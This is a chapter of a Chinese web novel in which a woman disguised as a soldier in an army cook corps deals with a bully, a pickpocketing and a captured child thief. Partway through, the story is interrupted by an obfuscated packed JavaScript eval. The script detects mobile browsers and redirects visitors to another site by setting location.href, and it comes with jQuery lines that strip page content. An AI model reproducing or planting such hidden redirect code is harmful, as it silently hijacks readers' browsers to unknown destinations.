明昭被分配在伙长辛洪手下，负责分派运送来的粮草，是个打杂又容易得罪人的活儿。
伙长辛洪是个精瘦的老兵，瞧着年纪四十有余，据说是从前线下来的。能在沙场全须全尾地活到这个岁数，想必是个人物。
虽说一般火头军里多数是老弱的，但大齐自前朝夺权后休养生息数年，青壮年不少应征而来，总有些被分到火头军里头的。是以明昭一入营房，成了这一营中最瘦小的。
靠近营房门边一个长得獐头鼠目的家伙一见明昭进来，面露嘲讽：“如今真是什么人都能从军了，老子竟然跟这种小鸡崽在一营，晦气！”说着朝明昭脚下吐了口唾沫，表情鄙夷至极。
明昭头还疼着，懒得搭理他，在最里头找到自己的位置放下行囊，安静坐下来等着人集齐了听伙长安排。
范力见明昭不搭理他，翻了个白眼，估摸着这是个没血性好拿捏的。
明昭位子隔壁人高马大的男子目睹了这场小冲突，边收拾自己的东西边朝明昭道：“都是火头营的小兵哪分什么三六九等，你别放心上。”
“我叫张三。”明昭回应了他的好意，两人互道姓名。
此人名叫曾越，京郊樵夫，至情至孝，没有娶妻，孤身一人侍奉母亲多年。直到前阵子母亲寿终正寝，他一身蛮力无处施展应征从军。
不过明昭觉得奇怪，以曾越的个头身板，怎么也不会被分到这既难得战功又俸禄稀少的火头军来。
曾越看出了她的疑惑，腼腆一笑，挠挠头：“说来惭愧，我与前头选人的小吏是同乡，往年有些矛盾，便被分到这里来了。”
明昭点点头，不再多问。
很快这个营帐中的人都到齐了，第一日军中没安排什么活计，大家互相寒暄认识一番便都歇下了。
火头军相比另一边将要上前线的兵不同，虽少了许多操练，但并不意味着日子悠闲，他们需要快速上手后勤事宜。
若做得不妥了，什么人都能来这拿他们撒气。
说什么来什么，骑兵营一个小将领嫌给他送的饭菜凉了，带着自己的几个部下气势汹汹地找到火头兵的营帐里来。
今日是范力负责运送各营饭菜，但火头军营帐中正轮到明昭当值。
“是哪个欠收拾的给爷送的菜，滚出来！”见无人回应，他的部下开始用手中操练的棍子哐哐敲击着营房的炉灶。
范力躲在一边装鹌鹑，只当喊的不是自己。
他眼珠贼兮兮地转了一圈，发现伙长不在，又瞧明昭马上要走到这边来，计上心头。
“爷，不知您是哪个营的，不过今儿是张三当值，您有事儿可以找他。”范力一脸谄媚地上前道，说罢还用脏兮兮的手指指向明昭的方位。
小将的怒火一下子有了去处，他转身面向明昭，马鞭轻敲手心，手臂肌肉紧绷，可见整个人如同箭在弦上，蓄势待发。
明昭远远注意到有几个人一直盯着自己，不知发生了什么，索性上前问问有何吩咐。
刚走近他们，领头的马鞭劈头盖脸地向明昭抽来。
好在明昭身上有些功夫，迅速旋身躲开了这场无妄之灾。
“诶！诶！这位军爷，你怎么无缘无故打人呐！”
“打的就是你！”见明昭毫发无伤，小将下不来台，本就没处撒气，这下更是恼羞成怒。
眼看他又要朝自己抽鞭子，明昭先他一步，眼疾手快地将他手中的马鞭夺了过来。
小将气蒙了，胡子拉碴的糙脸连带着粗脖子涨红了，眼球激动地突起仿佛快要爆出来，手中空无一物，手臂却还高高举着，场面极为滑稽。
“国有国法，家有家规，军有军纪，您可不能随便找茬啊。不如消消气，有什么事好好说，咱也能搞清楚您到底有什么吩咐不是？”明昭手握他的马鞭，姿态不卑不亢，完全没有被小将狰狞的架势唬住。
小将恶狠狠地剜了她一眼，双臂抱在胸.前，微微转头向跟在后面的小弟使了个眼色。
一个装着饭菜的食盒被丢在明昭跟前，里面的汤汤水水与尘土混合在一起，跌落地上溅起几滴到明昭身上，那气味着实令人作呕。
小弟神色高傲，替自家老大开了尊口：“这么热的天，送来的饭菜难吃不说，还凉透了，这是不把我们骑兵营放在眼里啊？你们也不上前线，连这点妇人能做的小事都做不好，一群废物。”
明昭闻言，明白了他们此番来的目的。
负责骑兵营的是范力，明昭了然，看了他一眼，正准备开口，被小将察觉到她的眼神动作：“怎么，又想踢皮球？那小子刚混过去，你们是觉得小爷是那么好糊弄的人？”
“今日是在下和伙长当值，既然眼下伙长不在，我自然是要负起责任的，这确实是我们的过失。您瞧现在大军还未开拔，周围物资尚且充裕，不如打个商量，这几日您想吃些什么，在下自掏腰包，保准给送去，算请您打打牙祭，您看如何？”
伸手不打笑脸人，明昭话说到这个份儿上了，那小将目的达成也便见好就收，领着小弟们扬长而去。
等这伙人的身影消失在眼前，明昭转身，盯着方才一直如老鼠般缩在锅炉后的范力。
范力被明昭瞧得心里发毛。不过他从小就是个泼皮无赖，这几日讹了惹不起的才从军躲仇家，哪里会怕明昭这小身板来报复。
他只当没看见，假装继续忙碌手上的事。
明昭走过去，仍旧是笑意盈盈的样子，手看似轻柔地搭在范力一边肩膀上，语气轻柔却莫名带着些阴狠：“不错啊，难得见你像今日这般勤快呢，范军爷。”
范力吃痛，身子被明昭压得一矮，脊背朝一边弯下去。
他忍着疼从牙缝里挤出来几个字：“食君之禄，忠君之事，我做事一向如此。”
“是吗？真是人不可貌相啊，看不出来，您还是个正派人？”明昭挑眉，另一只手拍了拍范力的背，直起身子做出要走的架势。
感受到肩膀上没了力量钳制，范力刚松了一口气，便见两根纤细的手指夹着个眼熟的小布包出现在他眼前，明昭清隽的声音从身后传来：“这叠银票我就笑纳了，小爷可不是白白给你背锅的。”
范力倏地瞪大眼睛，慌忙摸了摸自己身上藏钱的地方，果然那里空空如也。
他做贼数年从未失手，没成想今日栽在这小子身上，竟一点也没有察觉。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353012|167965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
不过本就是他有错在先，现下也没处说理，只能恨恨地看着明昭渐渐远离的身影。
在他们俩没注意到的角落，一个精瘦的男人目睹全程后悄然离开。
大军开拔前各部都十分忙碌，各路牛鬼蛇神也没空来挑事儿，一时间风平浪静，相安无事。
边关情况紧急，因此大部队日夜兼程，行军速度极快，日行数十里，没过几月便到了离雾沙关不远的一座城池，名观音道。
北境天黑的早，风沙又大，不利于夜间行军，将军决定在此地暂时扎营修整。
此地不似雾沙关等边隘关卡有两国商队频繁往来，自然条件也不如中原江南等地富余，是以行至此处人烟明显稀少了。
生活在这里的百姓也一个个面黄肌瘦，民生困苦潦倒。见大军过境，他们纷纷躲入低矮阴暗的茅屋中，家家禁闭门窗，四野寂静，好似一座死城。
当夜又轮到明昭与辛洪当值，两人巡视一圈正准备回营，忽然明昭听见有一丝轻微的不属于风沙呼啸的异响，未免打草惊蛇，明昭朝辛洪使了个眼色，吹灭手中的火把，蹑手蹑脚地朝那动静源头走去。
她一把掀开辎重上盖着的油布，里面突然掷出沙土向明昭脸上糊来。
躲避不及，明昭只得用手臂遮挡一二，一道黑影趁着这间隙迅速从辎重蹿出，向反方向逃去。
明昭眼神一凛，脚尖点地，微微提气运功，很快就追上那人，抓住他的手腕往后一扭，用巧劲制住上身，令其动弹不得。明昭暗道怪哉，这小贼腕骨极细，身量极小，仿若幼童。
将他扭送到辛洪面前，借着火光，可以看见小贼脸上脏兮兮的，皮肤被风吹日晒有些皲裂，穿的也不能称之为衣物，简直就是破布条随意缝合在一起用来蔽体的东西而已。
“抬起头来。”辛洪久经沙场，话语中带着血腥气的威严。
那小贼见挣扎不过，便只是低着头，不说话，将面容掩在头发凌乱的阴影中。
金戈嗡鸣，辛洪腰间的匕首出鞘，冰凉的刀刃轻轻贴上小贼的皮肤：“你可知盗窃军营物资，是死罪！深夜潜进军营，若以奸细身份将你呈报上去，那可不是简单的死罪了，有的是方法令你生不如死。”
说着小贼的脸上已然出现一道细细的红痕，点点血珠争先恐后地从中沁出。
明昭加大攥住他手腕的力度，他一时吃痛，嘴唇咬得发白却丝毫不肯屈从，不肯说一个字。
辛洪嗤笑道：“倒是个有骨气的。”
说罢向明昭轻点头，明昭会意，将小贼绑在营帐旁的柱子上。
小男孩被绑在脚不能触地的高度，明昭与辛洪二人终于能看清他的面容，火光照耀在他漆黑的眼中，澄澈中带着执拗与倔强，像沙漠里生了根的草，弱小却顽强不驯。
他年纪看起来不大，却有胆子偷到兵营，着实令人不解。
辛洪用锋利的匕首轻轻拍打自己的掌心，在这令人胆寒的曲律中幽幽道：“让我猜猜，你是本地人吧，应当还有兄弟姐妹在等你带粮食回去。”
毕竟还是个孩子，感受到辛洪话语中对自己亲人隐含的威胁，小男孩激动起来，怒目圆睁，紧张地瞪向此人。